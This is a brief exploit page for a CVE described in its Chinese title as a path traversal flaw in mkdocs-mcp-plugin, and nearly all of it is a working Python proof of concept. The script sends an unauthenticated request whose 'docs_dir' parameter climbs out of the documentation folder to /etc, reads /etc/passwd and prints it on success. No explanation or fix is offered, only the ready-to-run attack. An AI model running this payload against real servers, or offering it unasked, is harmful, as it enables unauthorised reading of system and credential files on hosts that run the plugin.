CVE-2026-7159 mkdocs-mcp-plugin路径遍历漏洞

import requests # Target URL (Example) target_url = "http://localhost:8000/read_document" # Malicious payload to traverse to /etc/passwd # The vulnerability is in 'docs_dir' or 'file_path' payload = { "docs_dir": "../../../../etc", "file_path": "passwd" } try: # Sending the request without authentication response = requests.get(target_url, params=payload, timeout=5) # Check if the response indicates a successful file read if response.status_code == 200 and "root:" in response.text: print("[+] Exploit successful! File content retrieved:") print(response.text) else: print("[-] Exploit failed or target not vulnerable.") except Exception as e: print(f"Error: {e}")